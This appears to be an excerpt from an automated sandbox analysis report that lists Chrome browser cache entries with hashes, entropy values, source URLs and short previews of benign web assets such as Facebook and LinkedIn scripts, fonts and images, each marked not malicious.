Preview:	.PNG........IHDR...d...........@...!IDATh..ZyX...G.P..[Y.Vv{....z..m......q.TR1....U.,..f.."..:.,......1..0.s...qX.QX...<..;..{..33n..nw.a n...........o.....,..3.0.\|.9.d......=.2.!.]s...!....C..X..........v....9..\|OR._:p.j...N.&.0.4..=}.u.......l.aY./.n..<.)..<...Z..`..J..V.....tF;]....C.V.....x..7G[.N.&.Wq.k.u..........W.`B.k....Q..'.I.:.-..{...y..?...L.<.......k-... .Z.n.Cn.N.K,c....X..bLF..s..7YF.../n....f...b.u......J.T.LQ.,......y.Xmzt.7.^...c,S...k..^.X.'.....D.]..8g....\....b...+.k..............z.e.H...h.....,...F7Y..0..WD.;..1....&s.._dIm......;.N.:.6Z.]..f........}...k..~.K.~.}I..U...9..}...P.w.s..T.m{&/w{&?w..-F..........-........).Y.Cawz.0........qy....Y..7.tMI.....e..J...q"......6..l......f.'..>A..7..Qd.Y..8OhF...-......MR.l.Nbs......x..Z.Q..6..w.$.\|..rZc.......<...*j...LS{..zs.S...+f...)..B......3-.e.....Z`...?.(..%sZ`...q.%.ZL......yn{......s..q.d?...D.^.....$..w&v..6m!.e..o/<.Y..8yK.....9.\|....O....L..I.x..M..y...B".

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7990)
Category:	downloaded
Size (bytes):	477872
Entropy (8bit):	5.566332502880014
Encrypted:	false
SSDEEP:	3072:+ZrLY2kiAGRx0KDCJcrjrMwmvsPJ8PcgcelRDKRsHu8aq9jpgc7S/i18EvJZGwSK:YKielhksn9jOc7S618cZGxrpsU6FIFaj
MD5:	41E81705BD23269DE1D3B85A04B8B16E
SHA1:	BCF4A65D041B2D6E732F034233B8840EF7949F3E
SHA-256:	53420178706D6950F2481E235C52DB694E70E8F4F76DED0D74C396523223852A
SHA-512:	3581645F25B42CA3FF51EF763FBB8B016B58D951A7F9AC3338AB4F2225D370F87BD2776FF60F39E534730A08A74F13458C06C3CA37F236D3BB97DF6036D8808C
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3ivlb4/yT/l/en_US/Vu6HBOITfSe.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometBatchNotificationsStateChangeSubscription_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="6546596222061607"}),null);.__d("CometBatchNotificationsStateChangeSubscription.graphql",["CometBatchNotificationsStateChangeSubscription_facebookRelayOperation"],(function(a,b,c,d,e,f){"use strict";a=function(){var a={defaultValue:null,kind:"LocalArgument",name:"environment"},c={defaultValue:null,kind:"LocalArgument",name:"input"},d=[{alias:null,args:[{kind:"Variable",name:"data",variableName:"input"}],concreteType:"BatchNotificationStateChangeSubscribeResponsePayload",kind:"LinkedField",name:"batch_notification_state_change_subscribe",plural:!1,selections:[{alias:null,args:null,concreteType:"Notification",kind:"LinkedField",name:"aggregated_notifications",plural:!0,selections:[{alias:null,args:null,kind:"ScalarField",name:"id",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"seen_state",storageKey:null}],storageKey:null},{alias:null,args:nu

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	23063
Entropy (8bit):	4.7535440881548165
Encrypted:	false
SSDEEP:	384:GvUzYI+Vi4g1V5it1ONhA6w+Kv8i/4CYzLKL4DrLU0iTxZTAzIzrwDlTWMClQip9:bkON69kClQq8hDRJHp2tWU25Zt/gREVG
MD5:	90EA7274F19755002360945D54C2A0D7
SHA1:	647B5D8BF7D119A2C97895363A07A0C6EB8CD284
SHA-256:	40732E9DCFA704CF615E4691BB07AECFD1CC5E063220A46E4A7FF6560C77F5DB
SHA-512:	7474667800FF52A0031029CC338F81E1586F237EB07A49183008C8EC44A8F67B37E5E896573F089A50283DF96A1C8F185E53D667741331B647894532669E2C07
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/WebResource.axd?d=DzxUtfABsu8vnlw2s2acXrs0oF0PtU7eQ8cp60r68IrjUtW9DDM-0xlMz8I7xY2r_Q1vSWj9TmVkLca6OlhNx4F-j9c1&t=636480331623431523
Preview:	function WebForm_PostBackOptions(eventTarget, eventArgument, validation, validationGroup, actionUrl, trackFocus, clientSubmit) {.. this.eventTarget = eventTarget;.. this.eventArgument = eventArgument;.. this.validation = validation;.. this.validationGroup = validationGroup;.. this.actionUrl = actionUrl;.. this.trackFocus = trackFocus;.. this.clientSubmit = clientSubmit;..}..function WebForm_DoPostBackWithOptions(options) {.. var validationResult = true;.. if (options.validation) {.. if (typeof(Page_ClientValidate) == 'function') {.. validationResult = Page_ClientValidate(options.validationGroup);.. }.. }.. if (validationResult) {.. if ((typeof(options.actionUrl) != "undefined") && (options.actionUrl != null) && (options.actionUrl.length > 0)) {.. theForm.action = options.actionUrl;.. }.. if (options.trackFocus) {.. var lastFocus = theForm.elements["__LASTFOCUS"];.. if ((typeo

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	720
Entropy (8bit):	4.569092186365795
Encrypted:	false
SSDEEP:	12:Kt80BxG0LtWtM0BxGRdgtLtWcM0BxGIxLtWk0BxGGd1LtWO0BxGxe3RLtWF0BxGe:zOkutdg5kcMcNkkCbkOI3tkFleRk8
MD5:	B58FCFA7628C9205CB11A1B2C3E8F99A
SHA1:	D11FEBF9E708A9E11BAEE37ED7DC5E99902580BE
SHA-256:	27ECA3E8297EB7FF340DEB3849B210185A459B3845456AA4D0036F6D966B3518
SHA-512:	66ED2703C1AE9A94DE01DD47707F9ED6CF3E2A035A3359793A06AFAE682A7DD4ABF06FF05109905841FE85747802C94708CE4A9EE56C7FBB8CC578EC556BF6D3
Malicious:	false
Reputation:	low
URL:	https://brokercheck.finra.org/assets/images/fav/manifest.json
Preview:	{. "name": "App",. "icons": [. {. "src": "\/android-icon-36x36.png",. "sizes": "36x36",. "type": "image\/png",. "density": "0.75". },. {. "src": "\/android-icon-48x48.png",. "sizes": "48x48",. "type": "image\/png",. "density": "1.0". },. {. "src": "\/android-icon-72x72.png",. "sizes": "72x72",. "type": "image\/png",. "density": "1.5". },. {. "src": "\/android-icon-96x96.png",. "sizes": "96x96",. "type": "image\/png",. "density": "2.0". },. {. "src": "\/android-icon-144x144.png",. "sizes": "144x144",. "type": "image\/png",. "density": "3.0". },. {. "src": "\/android-icon-192x192.png",. "sizes": "192x192",. "type": "image\/png",. "density": "4.0". }. ].}

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6237)
Category:	downloaded
Size (bytes):	113873
Entropy (8bit):	5.470465622285051
Encrypted:	false
SSDEEP:	3072:2iC7QTVIim0sKymy8W2Cu20u6gCuvw4Im+gSUgPQYWNs:DroYW6
MD5:	4B645FFA3459A7CEA69E86D12344D119
SHA1:	1CE20AC75570674809445183F6A0EA9AE48576FD
SHA-256:	9DF9B16A55FEACD8F5D1E74D9B422E2D2BAB857BC0E99DE71A690BD36B3B484D
SHA-512:	5FD1D0CE1BB0224518F790041475C52C136FCD6C25209BB9D130F5AD13613C1CB293770A1EA0548DE9F7EAFBEEEBDD322A4F0E0DE931A747E50CD6F5C0F7F73C
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3ifJq4/y_/l/en_US/VCsocI7gMNGJaiwx1WAgoaSl65Za2TW0ymM84SfiWlvqERz6pNGhHp8limUDEtcYdfHD_ApAkcHCLBPHlaazF8hiQhP0HLNJLur.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("ProfileCometHeaderActionBarMenuItemWithoutIsActiveField_profileAction.graphql",[],(function(a,b,c,d,e,f){"use strict";a=function(){var a={kind:"Literal",name:"icon_color",value:"fds-black"},b={kind:"Literal",name:"icon_size",value:"20"},c={kind:"Variable",name:"scale",variableName:"scale"},d=[{alias:null,args:null,kind:"ScalarField",name:"height",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"scale",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"uri",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"width",storageKey:null}];return{argumentDefinitions:[{kind:"RootArgument",name:"scale"}],kind:"Fragment",metadata:null,name:"ProfileCometHeaderActionBarMenuItemWithoutIsActiveField_profileAction",selections:[{alias:null,args:null,kind:"ScalarField",name:"profile_action_type",storageKey:null},{alias:"secondary_icon",args:[a,b,{kind:"Literal",name:"icon_variant",value:"outline"},c],concreteType:"Image",kind:"LinkedField",

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27620)
Category:	downloaded
Size (bytes):	218710
Entropy (8bit):	5.140329781022902
Encrypted:	false
SSDEEP:	1536:IOR8WRGEUATCTNb+L4ni8lAA2AxCRv4gy:3xTsniEp2AxCRv4gy
MD5:	41D9D5049B4D0F6D451B9C90407D2FE3
SHA1:	1659CF378287359E49ED4F12AB64F4D0A04B960C
SHA-256:	C50FDA07A3400222F3A17C79DEEC6FBF8658CBC99FA18FC11E3DF39EF2ED33AB
SHA-512:	08371DDD621D8B1D2B4619749D247507FF2CB8BD5BA92136F7C886BF825CBC4EB3EA828839C82FB70E84FD15BAA7B843CE3F06D2E72A04EA0AFF2C3F1BD21BF7
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3iDeG4/yl/l/en_US/E-5avDUlsjj.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("useCoerceRelayImage_image.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"useCoerceRelayImage_image",selections:[{alias:null,args:null,kind:"ScalarField",name:"height",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"scale",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"uri",storageKey:null},{alias:null,args:null,kind:"ScalarField",name:"width",storageKey:null}],type:"Image",abstractKey:null};e.exports=a}),null);.__d("ProfileCometHeaderActionBarButtonWithoutIsActiveField_action.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[{kind:"RootArgument",name:"scale"}],kind:"Fragment",metadata:null,name:"ProfileCometHeaderActionBarButtonWithoutIsActiveField_action",selections:[{kind:"RequiredField",field:{alias:null,args:null,concreteType:"TextWithEntities",kind:"LinkedField",name:"title",plural:!1,selections:[{kind:"RequiredField",field:{alias:null,args:

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (900)
Category:	downloaded
Size (bytes):	1042
Entropy (8bit):	5.100281063942443
Encrypted:	false
SSDEEP:	24:FUwATEAMkjCyZ3uxl/en1RFLzvlyvHIB9CM1vqP1zFUvlyvHIBf5nH4yBibP9puk:FjATXMmOlaNLDkA9vV4bAkAf5nHxSr
MD5:	4F1DC317A0E71640CCD7C9DE24BD08BD
SHA1:	27B87E97D69C0BBF0F50D2E6266C0E0FE8651D6D
SHA-256:	1E3DFB7276E8678C206E51075FAA32EF2761215C3C7F06747F2EED88DB8C2FA5
SHA-512:	71CEB14EA3A4B4A2A0586B5C44CE80372A1560EC854D2B0FE84D97D314C6D38B667E2621432EFF36E46D6CADB5DBFCB1AE023DE34BB988C79984EFD8D282E32D
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/plugins/timeline-express/lib/public/js/min/timeline-express.min.js?ver=4a124e090d7ee965f75f11dee143117d
Preview:	/. @Plugin Timeline Express. * @Author Code Parrots. * @Site https://www.wp-timelineexpress.com. * @Version 1.8.1. * @Build 04-04-2020. /.jQuery(document).ready(function(){window.dispatchEvent(new CustomEvent("timelineLayoutStart")),jQuery("html").addClass("cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions");var e=jQuery(".cd-timeline-block");e.each(function(){timeline_express_data.animation_disabled\|\|jQuery(this).offset().top>jQuery(window).scrollTop()+.75jQuery(window).height()&&jQuery(this).find(".cd-timeline-img, .cd-timeline-content").addClass("is-hidden")}),timeline_express_data.animation_disabled\|\|jQuery(window).on("scroll",function(){e.each(function(){jQuery(this).offset().top<=jQuery(window).scrollTop()+.75*jQuery(window).height()&&jQuery(this).find(".cd-timeline-img").hasClass("is-hidden")&&jQuery(this).find(".cd-timeline-img, .cd-timeline-content").removeClass("is-hidden").addClass("bounce-in")})}),window.dispatchEvent(new

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1600x447, components 3
Category:	downloaded
Size (bytes):	160648
Entropy (8bit):	7.988579525700558
Encrypted:	false
SSDEEP:	3072:UV8+kYMsipRi71xbOF8nsp4iTC31EPiRkiRv7dgae2DePlG4k:Ck3rO7q4iTdivvp95Da44k
MD5:	D6325AC9CFC8B5780E84DB466EFDB6D2
SHA1:	5CE2D8DB2AEE951CEC266A7B8C01ACB065C87286
SHA-256:	9B46254F402BA5A4D2F9FFC84B5E62C81C3555192A7B2FE95A2FC403F998CBD2
SHA-512:	788034979E7AA9FDA99AE004CA75969CE879B1742F723EF8952B39FD0259A1FD8049BAD5FC69E6DA471FF95D6D30930FF170B72D472F016273CF2403CC585AA7
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/images/mission_back.jpg
Preview:	......JFIF.............C..............................................!........."$".$.......C.........................................................................@.."..............................................................................].......lgv.w9.t <N.S%...l'E.9...2zLw....Zg......=9.-y.gF..e2..,....Q.m....%.....3....gAv4..O.[....$'...-..x.;....Kl.v..+.ur.M.....\|.....u...o>........usvk..../.8...V..N....I&.C......2.....K....];pN..~.......+.....;.d.0..<.k..G...k..i....r.0].vn$&....@0..`.b..1..4...m.6.....6..y.G.k9.....[...W/EJ..n..]..l.f.F..^.../...+..6......8..ow...../..g^n.;;]).nn...t8.}\\|~...}..4..L.? [!..s....F.`.A...d....u.... ..)..++m....^z>.\....^Th.R]..#..._I.....)...t.y.......L.....oE8.$..h\..0.;.IGw..z.a.=..._...w...>.Z,.q..7.B..z.&...T..+.>..Y.}..E.y.G...W.2..I.....@..)...o.....q.....1L<...}./I..F..lg.1T..3.gZ<..g=c.L.h=......1......&...c..h...0..Ci.i.......G$.n..N.b..a...i.soQ^...+..>..x.vl.I.5..Y.....>~.Zk...E

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7816, version 1.0
Category:	downloaded
Size (bytes):	7816
Entropy (8bit):	7.974758688549932
Encrypted:	false
SSDEEP:	192:Agw5ksLwlyK8F2BXU96Fc575OI3+ga534SlEFwTG4ovej9be:Al5y8FSUMS5VOq1KISlvS4ov+4
MD5:	25B0E113CA7CCE3770D542736DB26368
SHA1:	CB726212D5D525021752A1D8470A0FB593E0C49E
SHA-256:	9338E65FC077355C7A87AE0D64CC101E23B9BF8AD78AE65F0F319C857311B526
SHA-512:	A0D331E62AB4727F49CA286A1EE7FB81CDDC5BB9EDF71EF84F4BD4FA1552069AF1A82752011BA88FAE80862D034135926B7E99D70E59D626D66D4EDE90E94C30
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2
Preview:	wOF2..............>P...4.............................`..T.......6..6.$..h. ..D.....03......~.(J........".!]X.......fD .s..I......(&.:..K..3=/.?0.?B........}.}.L....9.!1..6.u....(...m..\.6R.H....(..J.....YXus..2..susq.E^.v.....z..{........BN^...}[a.8&.By.9......O......3..zW.\|R.I.8 .Z.V. ..v...X_F....,[ye....wU.m..U.....}....'.^.jQK..@....n....)...;.. T..@]...hz.>.6.Y.tgeF.p...k?.g.jIb..."'.p.j.W}..X..........0'@.!<..$.<\TG...........^......W..<..LhX...r..Q.8........W.8[...W.z.W...,`...}...CY..z..m.B...z._..}..0$..F. ....<........!...X.....`.._UY{..k....[.+....h..G...x4.h...#...n=.!....G.G..<....~.nS...M.d.RT...g..$:/..j..y.@.FIg.".#..]'...4...n..y.Q.s'..I@P.w..xI.......#.J.n.n.i...'....@..H...H..1.;7...ddSF.d..]....Z......W.../S....^V..k..%.......CF....B4.kN....Mp.......+..i...M.>.`m...=..$c..$.h.t..\|..d+...6j..W...~a.M.'4..f.`...( .0Vq,.&f.?k.%i.\|tr..`k...F..{l.T.T=.......aK..F....nAu..."....Cpc..B.`..s...,S.......P._[K?..+...\|2...z....

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	201
Entropy (8bit):	5.1438285092683405
Encrypted:	false
SSDEEP:	3:tRBRNqcwR+8PsVq3B5RL5MWkDmJS4RKb5KVErcHgSAJIi/VJgrH2b4qHfqoW0:tnrZW6mRVMW4mc4slmUYr2RHSY
MD5:	DAF7C1053E08E600E06C4115BF2181B4
SHA1:	452C1516E428C937762CAC0842AEC6FB3E48C84B
SHA-256:	D960843FE85CFD71159433734ACD16A8406BCE0491BEF7C4C361D6139168C64E
SHA-512:	F810C6E594588682F384F40061B34FA6395CE470ECF73DFB81BED510CE59337582B0B3B67E06A769888CE853E879C3DFC28A986951FA29446BC5995579B8EDCA
Malicious:	false
Reputation:	low
Preview:	<svg width="16" height="16" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg"><path d="M8 9l5.93-4L15 6.54l-6.15 4.2a1.5 1.5 0 01-1.69 0L1 6.54 2.07 5z" fill="currentColor"/></svg>

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
Preview:	{}

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	4195
Entropy (8bit):	7.70850956206428
Encrypted:	false
SSDEEP:	96:qthjyzuOeioj3AeyeNPVERPts28nrDgAc1:NoZjweyeLI1T0rDM
MD5:	EFC675063FE506AE178CC6D49E4938BC
SHA1:	17D96B346C39E6CBC083EAA45F4418A6C9B37FC9
SHA-256:	6030CD1832B1D22F9CB7F700AA839D868029949C42AB9E4D2D85C0E8E07993A0
SHA-512:	D9A863232EADE422926C5DFCB5E57D7DF3245C02E5421DDD522301D105252E99CFCE1F79CCE812DD1536B86C9BB50D8CA115844749C0B27556114F7C5A332D7E
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Photoshop 3.0.8BIM..........g..pzdyKZTuBG0BM4j25nAn..(.bFBMD0a000a860100009402000036040000b00400001905000054080000ee0a0000710b0000060c0000780c000063100000...C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."..................................................................................................y.6_.....=...f..................W...}@......./.=Z.......1...8......kn.....}.x..j..2..I.B.....6G...9..{..Wg7......D.~K.9..uXxA....$...a.?.{...[=.....K..o9.t.z.$.................?.................................0 !"3@`#%4...........\....m[.e\|...._...f.=...})...../...[2.Q...^.....y.:n:..".1x...~..&.#,.4.]N]...2..q...\p.=...c.3..;.q.L..=ML.m..qS!.-V..[+.&.B..C..3..X#..4@j....E...u..&rY.L&..C-.&%,..lrd.!/.B.i.7}.H.X..H.rc....)K8z..$....c.!...D..K8..c.k.8...n.A.c.;..\|.m.[.:.7.-h...f.1z)..H5.]...V......h..h..b&5....Uz.h.I...k.....U.'.

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	271
Entropy (8bit):	4.992981634433533
Encrypted:	false
SSDEEP:	6:tI9mc4sl3UYl4spGlXvSBRxtHkRIvldfpmeFrZSABM:t41nlVGAxtEqHPMABM
MD5:	AF7993771376FA0B230F144691C050D8
SHA1:	9F879DE462BAB62C2056FC31466AB166C2163A99
SHA-256:	F62F59807AA3E6F35AD9DF34083C15C0F3D4484472B7BA94BA9067B79385290C
SHA-512:	7E27C6C4DCD5B1A2CE2CDCBCBD4768A8111D733E7472DE64C65222B6CFABA76D3057804B45CD9CFFDDD7A5F67C590D208A2A26A0FB539920055F4E1BCAAFF493
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/adzjokfylbe8pvjr9h8iv96mw
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" id="close-small" aria-hidden="true" role="none" data-supported-dps="16x16" fill="currentColor">. <path d="M14 3.41L9.41 8 14 12.59 12.59 14 8 9.41 3.41 14 2 12.59 6.59 8 2 3.41 3.41 2 8 6.59 12.59 2z"/>.</svg>.

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1205)
Category:	downloaded
Size (bytes):	3429
Entropy (8bit):	5.362772597318545
Encrypted:	false
SSDEEP:	96:rEtYsv3pBnMBnEe6stZye2z6CHdbhKKSzzWhMsAevqBZZon:gtYsPGM6yRhKVyvAevqBZZo
MD5:	0D5B722BEA1627DA49781FA9A3CC2803
SHA1:	F57DD6128B3D89D2CE2F4B374232C8ECDD409077
SHA-256:	B228D9E50D1D83FEC0CE02169C0CA5311FD7EBBFF73409C300C45357E3677B23
SHA-512:	14FD9E21AA51D0AD8BA59C35D208AC51EDA652F87C7F977D6077A6098B2A807308ADA0E6EC6738CA50AF65426A5033A6BF7F4B64722F9906D1025D91F432BEE4
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/overlay.js
Preview:	google.maps.__gjsload__('overlay', function(_){var BD=function(a){this.Fg=a},nna=function(){},CD=function(a){a.Yx=a.Yx\|\|new nna;return a.Yx},ona=function(a){this.Eh=new _.Zm(()=>{const b=a.Yx;if(a.getPanes()){if(a.getProjection()){if(!b.vw&&a.onAdd)a.onAdd();b.vw=!0;a.draw()}}else{if(b.vw)if(a.onRemove)a.onRemove();else a.remove();b.vw=!1}},0)},pna=function(a,b){const c=CD(a);let d=c.Ev;d\|\|(d=c.Ev=new ona(a));_.Pb(c.Rh\|\|[],_.uk);var e=c.li=c.li\|\|new _.Sia;const f=b.__gm;e.bindTo("zoom",f);e.bindTo("offset",f);e.bindTo("center",f,"projectionCenterQ");.e.bindTo("projection",b);e.bindTo("projectionTopLeft",f);e=c.PB=c.PB\|\|new BD(e);e.bindTo("zoom",f);e.bindTo("offset",f);e.bindTo("projection",b);e.bindTo("projectionTopLeft",f);a.bindTo("projection",e,"outProjection");a.bindTo("panes",f);e=()=>_.$m(d.Eh);c.Rh=[_.sk(a,"panes_changed",e),_.sk(f,"zoom_changed",e),_.sk(f,"offset_changed",e),_.sk(b,"projection_changed",e),_.sk(f,"projectioncenterq_changed",e)];_.$m(d.Eh);b instanceof _.Pk?(_.zl

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1600x411, components 3
Category:	downloaded
Size (bytes):	188820
Entropy (8bit):	7.97957324563626
Encrypted:	false
SSDEEP:	3072:7fOBVT8cx4ZEbSEETRFSwp0lgM/NCqh5eA8jr3/Z76tehRWgrkTQEibcKe:7fOBVTKW3ETbp0N/Mqh518fxieh5oi2
MD5:	66DFA53F279BD2ACCB186B5857D7819B
SHA1:	0A9C6C95F4C7F5D567076C8C8B8D7C58AD9292E8
SHA-256:	291DEC85F3776B7847882D2FC157461110CEA6614EF656E8DFB05F857D3FF2A7
SHA-512:	9C361EB50AB054E6E89E8DAC940321D98CD221CA83DBF03C62C41A9A8E2845D3DDE9A1E8EB2BD7717FF6F75498302A184506904868A8F5E1F2B624B044626B62
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2017/05/About_banner_284262254-2.jpg
Preview:	......Exif..II.................Ducky.......<.....http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:99FEB148482E11E7A94FE9A26D91CF36" xmpMM:DocumentID="xmp.did:99FEB149482E11E7A94FE9A26D91CF36"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:99FEB146482E11E7A94FE9A26D91CF36" stRef:documentID="xmp.did:99FEB147482E11E7A94FE9A26D91CF36"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..................................................................................................................................

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1354)
Category:	downloaded
Size (bytes):	186380
Entropy (8bit):	5.512786973993877
Encrypted:	false
SSDEEP:	3072:SYyvr5xyecNdRk3zE63vUWl6oPCOQ5whSWIjKUs7dDmn0v8umA8Qi4UJ7UwOwdwr:SYkr5xek3zEwvUWl6oPCOQ5whObs7dDF
MD5:	7554AE17C5023ECC6D0FFC1E8775BC2F
SHA1:	37B39540102E29993F710047ED89BBE3B47A3A2B
SHA-256:	6101EEA4239DED7503B74732D078DE0DE0E31D9465DE3876B1641802DD299200
SHA-512:	32B21C1D58028A46D7B1C67A79F1348DE19C9316B0CE0BF225904686A81033051B51AD06D6E37D41EA281E5A0D547D58D553D3579BEB23115B3715ECF348EBFB
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/6y2czwba46q3wsh2b0d0g6trj
Preview:	this.default_gsi=this.default_gsi\|\|{};.(function(b){var l=this;try{var Ia,U,u,p,Ja,Ka;Ia=function(a){var c=0;return function(){return c<a.length?{done:!1,value:a[c++]}:{done:!0}}};U="function"==typeof Object.defineProperties?Object.defineProperty:function(a,c,b){if(a==Array.prototype\|\|a==Object.prototype)return a;a[c]=b.value;return a};u=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof l&&l,"object"==typeof self&&self,"object"==typeof global&&global];for(var c=0;c<a.length;++c){var b=a[c];if(b&&b.Math==Math)return b}throw Error("a");.}(this);p=function(a,c){if(c)a:{var b=u;a=a.split(".");for(var e=0;e<a.length-1;e++){var f=a[e];if(!(f in b))break a;b=b[f]}a=a[a.length-1];e=b[a];c=c(e);c!=e&&null!=c&&U(b,a,{configurable:!0,writable:!0,value:c})}};p("Symbol",function(a){if(a)return a;var c=function(a,c){this.g=a;U(this,"description",{configurable:!0,writable:!0,value:c})};c.prototype.toString=function(){return this.g};var b="jscomp_symbol_"+(1E9*Math.random()>>>0

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:P:P
MD5:	8A80554C91D9FCA8ACB82F023DE02F11
SHA1:	5F36B2EA290645EE34D943220A14B54EE5EA5BE5
SHA-256:	CA3D163BAB055381827226140568F3BEF7EAAC187CEBD76878E0B63E9E442356
SHA-512:	CA4B6DEFB8ADCC010050BC8B1BB8F8092C4928B8A0FBA32146ABCFB256E4D91672F88CA2CDF6210E754E5B8AC5E23FB023806CCD749AC8B701F79A691F03C87A
Malicious:	false
Reputation:	low
Preview:	{}.

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3005
Entropy (8bit):	4.3348196756520005
Encrypted:	false
SSDEEP:	48:ITWNX9q7aVxyFGwvqNTTswh11KdA/IMUitKhyWirt+NG/BC0/PTfhyr1+18:IiNX9oFG4qTJb0a/IMNURkt6GJZ/7fU7
MD5:	A870B45AC5D6B0D4E18C4829C7B660B4
SHA1:	2D3CA0E1F19EFDEB9B2DD3DCFFB17F8ABA118AA0
SHA-256:	144524233F795D6A425B76F7AE5C0BB622B5F67E2E6AE73532AD526528CA07CF
SHA-512:	295A21307D452F4BF51C62770C6A6B43CDB8B5A6BFA3617E068C8550285252B88F8BBF93A81C39E4BD7F73645EE094EDE0E2733DAFA5094E3EBAE20033363270
Malicious:	false
Reputation:	low
